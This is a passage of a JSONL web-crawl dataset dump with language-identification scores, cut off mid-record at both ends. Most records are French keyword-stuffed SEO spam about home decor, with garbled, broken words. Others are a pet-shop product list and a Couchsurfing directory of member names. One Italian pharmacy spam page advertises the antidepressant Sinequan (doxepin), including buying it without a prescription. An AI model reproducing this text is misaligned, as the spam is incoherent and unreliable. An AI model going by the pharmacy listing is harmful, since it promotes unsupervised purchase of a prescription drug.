0.016090532764792442, \"ekk_Latn_score\": 0.01277970802038908, \"nld_Latn_score\": 0.012413859367370605, \"ltg_Latn_score\": 0.011586851440370083, \"lat_Latn_score\": 0.011497855186462402, \"srd_Latn_score\": 0.011101403273642063, \"cbk_Latn_score\": 0.011069095693528652, \"por_Latn_score\": 0.01008108351379633}","num_words":536,"character_repetition_ratio":0.323,"word_repetition_ratio":0.302,"special_characters_ratio":0.184,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.358,"perplexity_score":8507.3,"cluster_detection":-1} +{"text":"njin\nSearch\nSize\nColor\nQuality\nrefection salle de bain\nrefection salle de bain deduction impot\nrefection salle de bain prix\nrefection salle de bain camping car\nrefection salle de bain cout\nrefection petite salle de bain\nrefection faience salle de bain\nrefection salle de bain lille\nrefection salle de bain brest\nrefection salle de bain nantes","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.aspitactical.com\/refection-salle-de-bain\/","date":"2019-10-20T20:38:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986718918.77\/warc\/CC-MAIN-20191020183709-20191020211209-00244.warc.gz","language":"ina","language_score":0.3486211598,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3486211597919464, \"sco_Latn_score\": 0.2580187916755676, \"fra_Latn_score\": 0.07894665747880936, \"pan_Latn_score\": 0.06509614735841751, \"gul_Latn_score\": 0.03546299412846565, \"wes_Latn_score\": 0.019104527309536934, \"ory_Latn_score\": 0.01660793647170067, \"jam_Latn_score\": 0.014314102940261364, \"ile_Latn_score\": 0.013894148170948029, \"fin_Latn_score\": 0.011904451064765453, \"cbi_Latn_score\": 0.011466044932603836}","num_words":99,"character_repetition_ratio":0.354,"word_repetition_ratio":0.067,"special_characters_ratio":0.161,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":0.338,"perplexity_score":14477.1,"cluster_detection":-1} +{"text":"magnetic angle locator johnson level 750 pitch angle locator in degrees and inch rise per foot run how to use magnetic angle locator.\nmagnetic angle locator magnetic angle finder degree digital protractor home depot how to use johnson magnetic angle locator.\nmagnetic angle locator mini digital angle finder gauge spirit level bubble with magnets inclinometer irwin tools magnetic angle locator protractor.\nmagnetic angle locator dasco products af700m angle finder and level with magnetic base irwin tools magnetic angle locator protractor.\nmagnetic angle locator angle finder protractor digital angle finder ruler meter degree protractor steel electronic angle lock blog store angle finder magnetic angle locator.\nmagnetic angle locator angle finder magnetic magnetic angle locator protractor worksheets.\nmagnetic angle locator magnetic angle locator click here to enlarge johnson magnetic angle locator instructions for 1040ez.\nmagnetic angle locator open in the appcontinue to the mobile website blue point magnetic angle locator home.\nmagnetic angle locator johnson magnetic angle locator magnetic protractor comparison discoclubsinfo irwin tools magnetic angle locator home.\nmagnetic angle locator magnetic protractor angle locator magnetic angle locator angle finder inclinometer tilt level meter slope angle meter blue point magnetic angle locator magnetic.\nmagnetic angle locator angle finder and level with magnetic base magnetic angle locator slop angle meter protractor inclinometer irwin tools magnetic angle locator home.\nmagnetic angle locator amazon price history chart for johnson level tool and tool 700 magnetic angle locator by johnson magnetic angle locator.\nmagnetic angle locator professional magnetic digital angle locator 3 button with v groove model 1886 0300 view full details magnetic angle locator protractor picture.\nmagnetic angle locator irwin 1794488 magnetic angle locator irwin magnetic angle locator protractor.\nmagnetic angle locator 0 5quot120mm magnetic angle locator level tool dial gauge angle finder irwin magnetic angle locator home.\nmagnetic angle locator magnetic angle locator by johnson johnson magnetic angle locator instructions not included.\nmagnetic angle locator digital angle finder unboxing setup magnetic angle locator protractor measure.\nmagnetic angle locator digital angle findermagnetic2 button johnson 1886 0000 johnson magnetic digital angle locator.\nmagnetic angle locator inclinometer risepro digital protractor angle finder level inclinometer magnetic v groove 0360 degree with backlight 82413b irwin tools magnetic angle locator magnetic.\nmagnetic angle locator johnson tool 700 magnetic angle locator protractor duct building construction bhtbbr johnson magnetic angle locator powertoolmate johnson magnetic angle locator.\nmagnetic angle locator magnetic angle locator click here to enlarge johnson level 700 magnetic angle locator.\nmagnetic angle locator irwin magnetic angle locator level.\nmagnetic angle locator searscom is selling the craftsman magnetic angle finder for only 5 sure it looks like crap but for the price it seems like a handy tool for setups when johnson magnetic digital angle locator.\nmagnetic angle locator kainsy magnetic angle locator angle finder slope locator designed perfect for plumbing electrical or magnetic angle locator protractor.\nmagnetic angle locator angle finder with magnetic base magnetic angle locator angle finder protractor level slope locator designed perfect how to use magnetic angle locator.\nmagnetic angle locator kainsy magnetic angle locator angle finder slope locator designed perfect for plumbing electrical magnetic angle locator protractor.\nmagnetic angle locator kacy protractor inclinometertool and tool magnetic angle locator image irwin tools magnetic angle locator level.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/transferformation.info\/magnetic-angle-locator\/","date":"2019-11-13T05:52:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665985.40\/warc\/CC-MAIN-20191113035916-20191113063916-00004.warc.gz","language":"ina","language_score":0.4938583374,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.49385833740234375, \"eng_Latn_score\": 0.3681834042072296, \"dag_Latn_score\": 0.0337461456656456, \"sco_Latn_score\": 0.032929595559835434}","num_words":993,"character_repetition_ratio":0.364,"word_repetition_ratio":0.211,"special_characters_ratio":0.162,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":11162.2,"cluster_detection":-1} +{"text":"Mostrando 9 de 9 Ordenar por Nombres de A a Z Nombres de Z a A Precios de menor a mayor Precios de mayor a menor Antiguos productos Nuevos productos Le salon Essencials Cepillo De Goma Para Gato le salon $ 5.990 Agregar al carro Le Salon Essentials Cepillo de Cerdas Small le salon $ 8.600 Agregar al carro Le Salon Essencials Cepillo Combinado Para Perro le salon $ 8.990 Agregar al carro Le Salon Essentials Cepillo Pin Small le salon $ 9.990 Agregar al carro Le Salon Essentials Cepillo Carda le salon $ 9.990 Agregar al carro Le Salon Essentials Cepillo De Masaje le salon $ 9.990 Agregar al carro Le Salon Essentials Cepillo Para Perro le salon $ 10.990 Agregar al carro Le Salon Essentials Cepillo Carda Autolimpiante le salon $ 13.990 Agregar al carro Le Salon Essencials Cepillo deshedder desenredante gato le salon $ 15.500 Agregar al carro","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.arkanet.cl\/brand\/le-salon","date":"2022-10-04T03:01:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337473.26\/warc\/CC-MAIN-20221004023206-20221004053206-00728.warc.gz","language":"ina","language_score":0.4196520448,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4196520447731018, \"spa_Latn_score\": 0.32005396485328674, \"oci_Latn_score\": 0.03209738805890083, \"fra_Latn_score\": 0.024631688371300697, \"ita_Latn_score\": 0.022160720080137253, \"mwl_Latn_score\": 0.02165219932794571, \"srd_Latn_score\": 0.014648940414190292, \"por_Latn_score\": 0.012668585404753685, \"lad_Latn_score\": 0.010930245742201805, \"vec_Latn_score\": 0.010011349804699421}","num_words":215,"character_repetition_ratio":0.22,"word_repetition_ratio":0.311,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.431,"perplexity_score":11761.6,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Thomas LE BRISHOUAL||Thomas le Gourierec|\n|Thomas LE BRUN||Thomas Le Govic|\n|Thomas Le Brun||THOMAS LE GUEN|\n|Thomas le Buzulier||Thomas Le Guern|\n|thomas le callonnec||Thomas Le Guével|\n|Thomas Le Chenadec||Thomas Le Guillou|\n|Thomas Le Chêne||Thomas Le Guillou|\n|Thomas Le Chi Thanh||Thomas Le Helloco|\n|Thomas Le Clinche||Thomas Le Hen|\n|Thomas Le Colleter||Thomas Le hir|\n|Thomas Le Coq||Thomas Le Hir|\n|Thomas LE COQUIL||Thomas LE JEUNE|\n|Thomas Le Corps||Thomas Le Jeune|\n|Thomas Le Corre||Thomas Le Jeune|\n|thomas Le Corre||Thomas le Juge|\n|Thomas Le Coupanec||Thomas Le Labourier|\n|Thomas Le Coz||Thomas Le Lann|\n|Thomas Le Coz||Thomas Le Lay|\n|Thomas LE COZ||Thomas Le Lay|\n|Thomas LE COZ||Thomas le Lay|\n|Thomas Le Crouhennec||Thomas Le Lay|\n|Thomas Le Diffon||Thomas Le Levier|\n|Thomas Le Dluz||Thomas Le Lirzin|\n|thomas LE DOZE||Thomas le Loire|\n|Thomas Le Dreff||Thomas Le Marrec|\n|Thomas Le Druillenec||Thomas Le Masson|\n|Thomas Le Duc||Thomas Le Mauff|\n|Thomas LE FAOU||Thomas Le Mens|\n|Thomas Le Fichant||Thomas Le Mer|\n|THOMAS LE FLANCHEC||thomas Le Merrer|\n|Thomas Le Floc'h||Thomas Le Mest|\n|Thomas LE FLOC'H||Thomas Le Mestre|\n|thomas le flochmoen||Thomas Le Meur|\n|Thomas LE FLOHIC||Thomas Le Mignan|\n|Thomas Le Forestier||Thomas LE MIGNAN|\n|Thomas Le Galès||Thomas Le Molaire|\n|Thomas Le Gall||Thomas Le Monier|\n|Thomas LE GALL||Thomas Le Montagner|\n|Thomas le Gall||Thomas LE MOULLEC|\n|Thomas Le Gall||THOMAS LE NAGARD|\n|THOMAS LE GLOANIC||Thomas Le Naour|\n|THOMAS LE GLOANIC||Thomas LE NECHET|\n|Thomas Le gloannec||Thomas Le Page|\n|Thomas Le Goff||Thomas Le Paige|\n|Thomas Le Goff||Thomas Le Palaire|\n|Thomas LE GOFF||Thomas Le Panda|\n|Thomas Le Goff||Thomas LE PIMPEC|\n|Thomas LE GOFF||thomas le poetvin|\n|Thomas Le Goff||Thomas Le Quellec|\n|Thomas Le Gougaud||Thomas Le Quérec|","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/www.couchsurfing.com\/directory\/T-26-64","date":"2017-09-22T22:45:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689373.65\/warc\/CC-MAIN-20170922220838-20170923000838-00421.warc.gz","language":"ina","language_score":0.5732142329,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5732142329216003, \"fra_Latn_score\": 0.14539694786071777, \"hat_Latn_score\": 0.046699412167072296, \"frp_Latn_score\": 0.02769031561911106, \"tso_Latn_score\": 0.023908864706754684, \"smo_Latn_score\": 0.017847279086709023, \"nso_Latn_score\": 0.01639813557267189, \"nap_Latn_score\": 0.013673515059053898, \"vec_Latn_score\": 0.012009994126856327}","num_words":569,"character_repetition_ratio":0.247,"word_repetition_ratio":0.061,"special_characters_ratio":0.256,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":33874.5,"cluster_detection":-1} +{"text":"Idee Salle De Bain Bois id e d coration salle de bain am nagement petite salle, id e d co salle de bain bois 40 espaces cosy et chics qui, carrelage salle de bain imitation bois 34 id es modernes, id e d coration salle de bain nice id e d coration salle, id e d coration salle de bain cordoue meuble salle de, 70 id es originales piquer pour relooker votre salle de, id e d co salle de bain bois moderne, id e d coration salle de bain am nagement deco salle de,","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/adwordsadsbuzz.website\/idee-salle-de-bain-bois.html","date":"2018-05-21T02:50:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863923.6\/warc\/CC-MAIN-20180521023747-20180521043747-00241.warc.gz","language":"ina","language_score":0.3287507594,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32875075936317444, \"pfl_Latn_score\": 0.21615001559257507, \"fra_Latn_score\": 0.08491884917020798, \"gul_Latn_score\": 0.05656556040048599, \"srd_Latn_score\": 0.02715100720524788, \"gsw_Latn_score\": 0.023279327899217606, \"pan_Latn_score\": 0.02253488451242447, \"glg_Latn_score\": 0.02232421562075615, \"oci_Latn_score\": 0.02057964727282524, \"por_Latn_score\": 0.017456449568271637, \"gla_Latn_score\": 0.011761290021240711, \"sco_Latn_score\": 0.011311461217701435}","num_words":151,"character_repetition_ratio":0.219,"word_repetition_ratio":0.113,"special_characters_ratio":0.234,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":0.325,"perplexity_score":3782.6,"cluster_detection":-1} +{"text":"bibliotheque style scandinave idee deco salon style scandinave bibliotheque blanche bibliotheque style scandinave.\nmeuble bibliotheque style scandinave nordique bibliothaque tendance basse,une scandinave bibliotheque basse style de biblioth meuble bibliothaque que,blanc bibliothaque style meuble bibliotheque scandinave miurem de console basse achat,bibliotheque style scandinave de niches 8 basse bibliothaque bureau meuble,bibliotheque basse style scandinave meuble sofag nordique,laissez meubles bibliotheque basse style scandinave les sacduire scandinaves gautier par tendances vous meuble,espace style bibliotheque basse scandinave amacnagement le de bureau meuble dun travail petit,bibliotheque basse style scandinave finesse design for anews24org library storage with and a modern meuble,wood scandinavian design bibliotheque basse style scandinave meuble storage solid library,style de bibliothaque salle distinguac bibliotheque scandinave meuble bain basse.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/putlockerfree.pro\/bibliotheque-style-scandinave\/bibliotheque-style-scandinave-idee-deco-salon-style-scandinave-bibliotheque-blanche-bibliotheque-style-scandinave\/","date":"2018-11-18T11:55:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744368.74\/warc\/CC-MAIN-20181118114534-20181118140534-00178.warc.gz","language":"ina","language_score":0.3282872736,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.328287273645401, \"eng_Latn_score\": 0.27232417464256287, \"fra_Latn_score\": 0.2045416235923767, \"lat_Latn_score\": 0.06637118756771088, \"enm_Latn_score\": 0.03508291766047478, \"ita_Latn_score\": 0.024442922323942184, \"sco_Latn_score\": 0.01371727604418993}","num_words":243,"character_repetition_ratio":0.244,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":0.328,"perplexity_score":12277.9,"cluster_detection":-1} +{"text":"salon aluminium de jardin table aluminium de jardin elegant bache protection salon de jardin leroy merlin salon de jardin aluminium pas cher.\nsalon aluminium de jardin 2000 salon de jardin alu composite.\nsalon aluminium de jardin salon de jardin aluminium haut de gamme 5 places st tropez salon de jardin aluminium salon de jardin aluminium 8 places.\nsalon aluminium de jardin salon de jardin aluminium fresh stunning table salon de jardin metal contemporary amazing house salon de jardin aluminium et verre leclerc.\nsalon aluminium de jardin salon de jardin metal leroy merlin.\nsalon aluminium de jardin amazon salon de jardin aluminium garn salon structure aluminium amazon salon de jardin alu rimini 8 salon de jardin aluminium 8 places.\nsalon aluminium de jardin 50 g nial salon de jardin en aluminium 10 personnes photos pergola salon de jardin aluminium et verre extensible.\nsalon aluminium de jardin table de jardin design aluminium table de jardin design table de jardin design aluminium salon de mobilier de jardin alu pas cher.\nsalon aluminium de jardin salon de jardin aluminium luxury salon de jardin table extensible aluminium salon de jardin salon jardin alu textilene.\nsalon aluminium de jardin grande table de salon beau table de jardin aluminium oceo id es de salon de jardin en aluminium et textilene 8 places naevia.\nsalon aluminium de jardin salon de detente salon detente jardin new best salon de jardin bas aluminium castorama amazing comment salon jardin alu composite.\nsalon aluminium de jardin table jardin aluminium inspirational table jardin botanic awesome salon de jardin aluminium teck ideas salon de jardin tout aluminium en solde.\nsalon aluminium de jardin salon jardin composite stunning salon de jardin alu et polywood contemporary amazing salon de jardin composite salon jardin salon de jardin en aluminium 8 places sarasota.\nsalon aluminium de jardin salon de jardin la redoute salon tente best of salon table chaises en salon de jardin salon de jardin salon de jardin aluminium et composite.\nsalon aluminium de jardin table de salon extensible table de jardin aluminium et composite jardin salon de jardin aluminium fresh salon de jardin aluminium et bois composite aloha.\nsalon aluminium de jardin salon de jardin aluminium luxury stunning salon de jardin aluminium belgique ideas amazing house salon de jardin en aluminium et textilene 8 places naevia.\nsalon aluminium de jardin amazon salon de jardin aluminium table images amazing house sign amazon salon de jardin alu salon jardin aluminium blanc.\nsalon aluminium de jardin salon de jardin aluminium castorama salon salon aluminium salon salon salon de jardin alu castorama salon de jardin aluminium et verre 8 places.\nsalon aluminium de jardin beautiful salon de jardin modulable aluminium ideas amazing unique photos de amazon salon de jardin salon de jardin aluminium blanc pas cher.\nsalon aluminium de jardin salon de detente salon de detente exterieur salon bas de jardin niagara aluminium gris 4 personnes salon de salon de jardin metal leroy merlin.\nsalon aluminium de jardin emejing table de jardin aluminium discount contemporary amazing salon de jardin aluminium et verre 8 places.\nsalon aluminium de jardin stunning salon de jardin vicio teck gallery amazing house design salon de jardin metal pas cher.\nsalon aluminium de jardin table de jardin alu et bois composite salon jardin aluminium composite awesome salon jardin structure aluminium salon de jardin alu et composite pas cher.\nsalon aluminium de jardin stunning salon de jardin aluminium malaga pictures amazing house salon de jardin aluminium et verre extensible.\nsalon aluminium de jardin stunning salon de jardin alu blanc pictures amazing house design salon de jardin aluminium et verre.\nsalon aluminium de jardin salon de jardin alu et bois salon de jardin alu et bois stunning salon de jardin salon de jardin alu salon jardin alu textilene.\nsalon aluminium de jardin table de jardin design aluminium best salon de jardin avec table extensible contemporary amazing table de table de jardin design aluminium salon jardin alu composite.\nsalon aluminium de jardin beautiful table jardin aluminium hpl ideas amazing house design salon jardin alu composite.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/rawprohormone.info\/salon-aluminium-de-jardin\/","date":"2018-11-13T19:05:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039741340.11\/warc\/CC-MAIN-20181113173927-20181113195927-00058.warc.gz","language":"ina","language_score":0.329664737,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3296647369861603, \"bjn_Latn_score\": 0.14588604867458344, \"fra_Latn_score\": 0.09027081727981567, \"lfn_Latn_score\": 0.0706741213798523, \"frr_Latn_score\": 0.03791669011116028, \"ron_Latn_score\": 0.03491014242172241, \"zsm_Latn_score\": 0.02182840369641781, \"fin_Latn_score\": 0.01857679709792137, \"ile_Latn_score\": 0.01640106923878193, \"ind_Latn_score\": 0.015780260786414146, \"srn_Latn_score\": 0.011442837305366993}","num_words":898,"character_repetition_ratio":0.37,"word_repetition_ratio":0.101,"special_characters_ratio":0.169,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.33,"perplexity_score":12954.7,"cluster_detection":-1} +{"text":"bibliotheque moderne design bnl bibliothaque nationale de luxembourg bibliotheque moderne design.\nbibliotheque moderne design beautiful gallery ridgewayngcom,design meuble en exemplaires bibliothaque bibliotheque moderne dacclinac 25,moderne de murale bibliotheque conception design, dacco bibliothaques amacnagement bibliotheque moderne design modernes et idace,design lorelis choix au bibliothaque sept laquac etagare bibliotheque moderne couleurs, bibliotheque moderne design achat,airport cattelan bibliothaque design bibliotheque moderne,dintacrieur maison design bibliotheque moderne bibliothaque quelques original,en design bibliotheque moderne mactal bibliothaque bois lartelier colorace massif par,architecture design moderne interieur gothique bibliotheque reseau.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/soundup.co\/bibliotheque-moderne-design\/bibliotheque-moderne-design-bnl-bibliothaque-nationale-de-luxembourg-bibliotheque-moderne-design\/","date":"2018-11-21T02:12:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746926.93\/warc\/CC-MAIN-20181121011923-20181121033923-00138.warc.gz","language":"ina","language_score":0.6390046477,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.639004647731781, \"fra_Latn_score\": 0.14825227856636047, \"lat_Latn_score\": 0.08234577625989914, \"eng_Latn_score\": 0.01883695274591446, \"ile_Latn_score\": 0.010019391775131226}","num_words":190,"character_repetition_ratio":0.259,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":0.639,"perplexity_score":15195.3,"cluster_detection":-1} +{"text":"Le Corner Salle De Bain, download this wallpaper for free in HD resolution. Le Corner Salle De Bain was posted in July 3, 2018 at 2:29 am. This HD Wallpaper Le Corner Salle De Bain. May related with le corner ameublement salle de bain le corner salle de bain avis le corner salle de bains .\nTagged : le corner ameublement salle de bain le corner salle de bain avis le corner salle de bains","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/acnecauses.info\/le-corner-salle-de-bain-2240\/","date":"2018-12-18T12:10:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376829140.81\/warc\/CC-MAIN-20181218102019-20181218124019-00085.warc.gz","language":"ina","language_score":0.3374426663,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.33744266629219055, \"fra_Latn_score\": 0.21485556662082672, \"sco_Latn_score\": 0.08309953659772873, \"eng_Latn_score\": 0.04152151197195053, \"pfl_Latn_score\": 0.03487794101238251, \"pcm_Latn_score\": 0.03248591721057892, \"fro_Latn_score\": 0.03139122202992439, \"lmo_Latn_score\": 0.020072652027010918, \"spa_Latn_score\": 0.018507041037082672, \"nrm_Latn_score\": 0.015912970528006554, \"vec_Latn_score\": 0.012451100163161755, \"sot_Latn_score\": 0.01074194721877575}","num_words":126,"character_repetition_ratio":0.195,"word_repetition_ratio":0.359,"special_characters_ratio":0.231,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":0.304,"perplexity_score":3899.3,"cluster_detection":-1} +{"text":"jardinieres de balcon jardinieres de balcon design.\njardinieres de balcon fleurs pour jardinieres de balcon.\njardinieres de balcon jardiniere balcon plastique couleur.\njardinieres de balcon niare jardinieres de balcon jardiland.\njardinieres de balcon jardinieres de balcon a reserve deau.\njardinieres de balcon jardiniere balcon avec reserve deau.\njardinieres de balcon support jardiniere balcon canadian tire.\njardinieres de balcon garn fleurs pour jardinieres de balcon.\njardinieres de balcon e e tjrs pr e tche vs pr support jardiniere balcon leroy merlin.\njardinieres de balcon jardinieres balcon plastique.\njardinieres de balcon jardiniere de balcon canadian tire.\njardinieres de balcon rembr jrdin mison terrsse pprtement fleurs pour jardinieres de balcon.\njardinieres de balcon jardinieres de balcon jardiland.\njardinieres de balcon jardinieres balcon leroy merlin.\njardinieres de balcon jardiniere pour balcon leroy merlin.\njardinieres de balcon gran pntes graphe jardiniere balcon avec reserve deau.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/fusionblox.net\/jardinieres-de-balcon\/","date":"2018-12-13T06:51:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824525.29\/warc\/CC-MAIN-20181213054204-20181213075704-00029.warc.gz","language":"ina","language_score":0.4936537147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.49365371465682983, \"ile_Latn_score\": 0.13224150240421295, \"fra_Latn_score\": 0.0798233225941658, \"avk_Latn_score\": 0.041075028479099274, \"nov_Latn_score\": 0.028101064264774323, \"lfn_Latn_score\": 0.02754341810941696, \"lvs_Latn_score\": 0.02562921866774559, \"ldi_Latn_score\": 0.023693349212408066, \"eus_Latn_score\": 0.01522039994597435}","num_words":312,"character_repetition_ratio":0.39,"word_repetition_ratio":0.363,"special_characters_ratio":0.154,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":8179.5,"cluster_detection":-1} +{"text":"Luogo sicuro per acquistare 25 mg Sinequan\nGenerico Sinequan\nMiglior farmacia a comprare generico Doxepin hydrochloride. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.7 sulla base di 115 voti.\nPrezzo da inizio €0.26 Per pillola\nvenden Sinequan farmacias guadalajara\nAcquistare 25 mg Sinequan Italia\nconveniente Sinequan Doxepin hydrochloride Australia\nquero comprar generico Sinequan\nOrdine Doxepin hydrochloride Svezia\nPrezzo basso Sinequan 25 mg Inghilterra\nPrezzo basso Sinequan\nSconto 25 mg Sinequan USA\ncompra de Sinequan generico en mexico\nQuanto costa Sinequan Doxepin hydrochloride UK\nSinequan per donne in farmacia\ngenerico 25 mg Sinequan Danimarca\ncomprar Sinequan Doxepin hydrochloride generico\nfarmacia venden Sinequan\nAcquistare Sinequan Doxepin hydrochloride US\nconveniente Sinequan Doxepin hydrochloride Repubblica Ceca\nA buon mercato Sinequan 25 mg Francia\ncosto del Sinequan 25 mg farmacia\nbuy Avanafil\ngeneric Glucotrol\ngenerico Sinequan posologia\nA buon mercato Doxepin hydrochloride Inghilterra\ncomprar genericos Sinequan españa\nOrdine Doxepin hydrochloride Israele\nSconto Sinequan Doxepin hydrochloride Giappone\ngenerico do Sinequan azul\nSinequan prezzo di vendita\ngenerico Doxepin hydrochloride Belgio\nPrezzo 25 mg Sinequan Tacchino\ngenerico Doxepin hydrochloride\nAcquistare Doxepin hydrochloride USA\nPrezzo Sinequan Doxepin hydrochloride Singapore\nSinequan generico en el salvador\nquanto custa o Sinequan na farmacia\nSconto 25 mg Sinequan Repubblica Ceca\nA buon mercato Sinequan 25 mg Europa\nmodo usar Sinequan generico\nprecio oficial Sinequan en farmacia\nQuanto costa Sinequan 25 mg Europa\nSinequan sin receta en farmacias chile\ncomprar Sinequan farmacia madrid\ntem generico Sinequan brasil\ncomprar Sinequan farmacia portugal\nventa Sinequan farmacia\ngenerico Sinequan Doxepin hydrochloride Belgio\nin linea Sinequan USA\nSinequan farmacias precio\nSconto Sinequan 25 mg Emirati Arabi Uniti\nOrdine Sinequan Doxepin hydrochloride Polonia\nPrezzo Sinequan 25 mg Norvegia\nSinequan generico legale\nA buon mercato Sinequan Doxepin hydrochloride\nAcquista Sinequan Doxepin hydrochloride Inghilterra\nSinequan generico tempo de duração\ngenerico 25 mg Sinequan USA\ncompuesto generico del Sinequan\nAcquistare Sinequan Doxepin hydrochloride Finlandia\nfarmacia donde comprar Sinequan sin receta\nOrdine 25 mg Sinequan Italia\nconveniente Sinequan 25 mg Belgio\nacquistare Sinequan in sicurezza\ngenerico Sinequan ems funciona\nPrezzo Sinequan Doxepin hydrochloride Olanda\ncomprare Sinequan generico on line\nOrdine Doxepin hydrochloride Grecia\nPrezzo basso Doxepin hydrochloride Svezia\nconveniente Sinequan Doxepin hydrochloride Austria\nSinequan generico nao funciona\nfarmacia san pablo Sinequan\nacquistare Sinequan originale\nSinequan generico farmacia andorra\nSconto Sinequan Doxepin hydrochloride Grecia\nSinequan generico en mexico precio\nja tem Sinequan generico\nSinequan acquisto on line\nPrezzo basso Sinequan 25 mg UK\nprecio Sinequan receta farmacia\nIl costo di Sinequan Repubblica Ceca\ncomo funciona o generico do Sinequan\ncosto del Sinequan farmacia\ncuanto vale Sinequan farmacias chile\ncomprar Sinequan generico curitiba\nPrezzo basso Sinequan 25 mg Francia\nSconto Doxepin hydrochloride Europa\ngenerico Sinequan peru\nSinequan generico tijuana\npillole Sinequan generico\nbasso costo Sinequan 25 mg Norvegia\ngenerico 25 mg Sinequan Croazia\nin linea Sinequan Austria\nPrezzo basso Sinequan USA\nSinequan generico en colombia\nAcquista Sinequan Doxepin hydrochloride Belgio\ngenerico Sinequan Doxepin hydrochloride\nSinequan online acquisto\nPrezzo Sinequan Doxepin hydrochloride Repubblica Ceca\nAcquista Sinequan 25 mg Canada\nSconto Sinequan Italia\nAcquistare Sinequan 25 mg Olanda\nin linea Sinequan Doxepin hydrochloride Brasile\ncomo comprar Sinequan en farmacias\nbasso costo 25 mg Sinequan Stati Uniti\nIl costo di Sinequan 25 mg Singapore\nOrdine Sinequan 25 mg Inghilterra\nin linea 25 mg Sinequan UK\nSinequan se vende sin receta farmacias\nSinequan acquisto in farmacia\nfarmacias venden Sinequan generico mexico\nSinequan 25 mg vendita\nin linea Doxepin hydrochloride\nOrdine Sinequan Italia\nOrdine Sinequan Israele\nSinequan generico madrid\nbasso costo Sinequan Doxepin hydrochloride Austria\nSinequan generico funciona\nPrezzo Sinequan Doxepin hydrochloride Austria\nsito acquisto Sinequan\nPrezzo Sinequan Francia\nQuanto costa 25 mg Sinequan Finlandia\nIl costo di Sinequan 25 mg Danimarca\nAcquistare Doxepin hydrochloride Grecia\nSinequan 25 mg costo in farmacia\nin linea Sinequan 25 mg Regno Unito\nSinequan generico brasileiro\nSinequan generico postepay\nacquistare Sinequan generico online\nSinequan farmacias sin receta españa\nin linea Doxepin hydrochloride US\nOrdine Sinequan Doxepin hydrochloride Svizzera\nAcquista Sinequan UK\nqual e o preço do Sinequan generico\npuedo comprar Sinequan farmacia\ncomprare Sinequan generico italia\nprezzo Sinequan pfizer in farmacia\nSinequan costi farmacia\nAcquistare Sinequan Finlandia\nbelanjaterus.review\ncheap Avana\nbuy Linezolid\ngeneric Floxin\nsTmxmC","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/muskokavet.com\/2019\/01\/03\/sconto-online-pharmacy-luogo-sicuro-per-acquistare-25-mg-sinequan\/","date":"2019-05-23T01:22:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256997.79\/warc\/CC-MAIN-20190523003453-20190523025453-00332.warc.gz","language":"ina","language_score":0.4923753738,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.49237537384033203, \"lat_Latn_score\": 0.08763997256755829, \"ita_Latn_score\": 0.0642230212688446, \"ile_Latn_score\": 0.05971665307879448, 